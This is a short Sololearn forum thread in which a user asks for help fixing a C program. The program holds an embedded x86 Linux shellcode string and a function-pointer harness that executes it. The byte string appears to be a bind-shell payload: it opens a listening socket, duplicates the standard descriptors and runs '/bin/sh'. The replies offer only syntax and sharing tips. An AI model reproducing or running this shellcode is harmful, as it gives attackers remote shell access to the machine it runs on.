Clear the error in C program | Sololearn: Learn to code for FREE!
New course! Every coder should learn Generative AI!
Try a free lesson
0

Clear the error in C program

#include<stdio.h> #include<string.h> unsigned char code[] = \ "\x31\xc0\x31\xdb\x99\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66" "\xcd\x80\x89\xc6\x52\x66\x68\xaa\xaa\x66\x6a\x02\x89\xe1\x6a\x10" "\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x52\x56\x89\xe1\xb3\x04" "\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89" "\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x52\x68\x2f" "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x52\x89\xe1\xb0\x0b" "\xcd\x80\x31\xc0\xb0\x01\xb3\x08\xcd\x80"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }

3rd Oct 2019, 3:40 PM
M.Manoj Kumar
2 Answers
0
Please write this code in Sololearn playground and share the link here.
3rd Oct 2019, 3:42 PM
A͢J
A͢J - avatar
0
First remove the Slash after = then check it.
3rd Oct 2019, 4:25 PM
A͢J
A͢J - avatar